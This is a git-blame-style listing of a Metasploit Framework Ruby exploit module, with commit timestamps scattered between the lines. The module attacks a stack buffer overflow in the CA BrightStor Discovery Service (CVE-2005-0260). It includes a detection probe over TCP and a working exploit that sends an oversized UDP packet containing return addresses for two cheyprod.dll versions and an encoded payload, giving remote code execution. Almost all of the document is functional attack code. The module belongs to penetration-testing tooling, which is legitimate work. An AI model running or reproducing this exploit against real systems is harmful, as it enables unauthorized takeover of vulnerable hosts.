2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-04-09 13:04:15 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2005-11-26 22:12:54 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Udp
|
2005-11-26 22:12:54 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2010-05-09 17:52:51 +00:00
|
|
|
'Name' => 'CA BrightStor Discovery Service Stack Buffer Overflow',
|
2005-11-26 22:12:54 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a vulnerability in the CA BrightStor
|
2005-11-26 22:12:54 +00:00
|
|
|
Discovery Service. This vulnerability occurs when a large
|
2010-05-09 17:52:51 +00:00
|
|
|
request is sent to UDP port 41524, triggering a stack buffer
|
2005-11-26 22:12:54 +00:00
|
|
|
overflow.
|
|
|
|
},
|
2008-04-09 13:04:15 +00:00
|
|
|
'Author' => [ 'hdm', 'patrick' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2008-11-16 03:09:22 +00:00
|
|
|
'Version' => '$Revision$',
|
2005-11-26 22:12:54 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-05-19 13:20:32 +00:00
|
|
|
[ 'CVE', '2005-0260'],
|
2005-11-26 22:12:54 +00:00
|
|
|
[ 'OSVDB', '13613'],
|
|
|
|
[ 'BID', '12491'],
|
|
|
|
[ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2048,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-11-26 22:12:54 +00:00
|
|
|
[
|
|
|
|
[
|
|
|
|
'cheyprod.dll 12/12/2003',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x23808eb0, # call to edi reg
|
2008-04-09 13:04:15 +00:00
|
|
|
'Offset' => 968,
|
2005-11-26 22:12:54 +00:00
|
|
|
},
|
|
|
|
],
|
2008-04-09 13:04:15 +00:00
|
|
|
[
|
|
|
|
'cheyprod.dll 07/21/2004',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Ret' => 0x2380a908, # call edi
|
|
|
|
'Offset' => 970,
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
2005-11-26 22:12:54 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Dec 20 2004',
|
|
|
|
'DefaultTarget' => 0))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(41524)
|
|
|
|
], self.class)
|
2005-11-26 22:12:54 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
def check
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
# The first request should have no reply
|
|
|
|
csock = Rex::Socket::Tcp.create(
|
|
|
|
'PeerHost' => datastore['RHOST'],
|
|
|
|
'PeerPort' => 41523,
|
|
|
|
'Context' =>
|
|
|
|
{
|
|
|
|
'Msf' => framework,
|
|
|
|
'MsfExploit' => self,
|
|
|
|
})
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
csock.put('META')
|
|
|
|
x = csock.get_once(-1, 3)
|
|
|
|
csock.close
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
# The second request should be replied with the host name
|
|
|
|
csock = Rex::Socket::Tcp.create(
|
|
|
|
'PeerHost' => datastore['RHOST'],
|
|
|
|
'PeerPort' => 41523,
|
|
|
|
'Context' =>
|
|
|
|
{
|
|
|
|
'Msf' => framework,
|
|
|
|
'MsfExploit' => self,
|
|
|
|
})
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
csock.put('hMETA')
|
|
|
|
y = csock.get_once(-1, 3)
|
|
|
|
csock.close
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
if (y and not x)
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
2005-11-26 22:12:54 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
def exploit
|
|
|
|
connect_udp
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-27 01:51:50 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-04-09 13:04:15 +00:00
|
|
|
buf = rand_text_english(4096)
|
2005-11-26 22:12:54 +00:00
|
|
|
|
2008-04-09 13:04:15 +00:00
|
|
|
# Target 0:
|
|
|
|
#
|
2005-11-26 22:12:54 +00:00
|
|
|
# esp @ 971
|
|
|
|
# ret @ 968
|
|
|
|
# edi @ 1046
|
2008-04-09 13:04:15 +00:00
|
|
|
# end = 4092
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-04-09 13:04:15 +00:00
|
|
|
buf[target['Offset'], 4] = [ target.ret ].pack('V')
|
2005-11-26 22:12:54 +00:00
|
|
|
buf[1046, payload.encoded.length] = payload.encoded
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
udp_sock.put(buf)
|
2005-12-25 22:47:38 +00:00
|
|
|
udp_sock.recvfrom(8192)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-11-26 22:12:54 +00:00
|
|
|
handler
|
|
|
|
disconnect_udp
|
|
|
|
end
|
|
|
|
|
2008-11-16 03:09:22 +00:00
|
|
|
end
|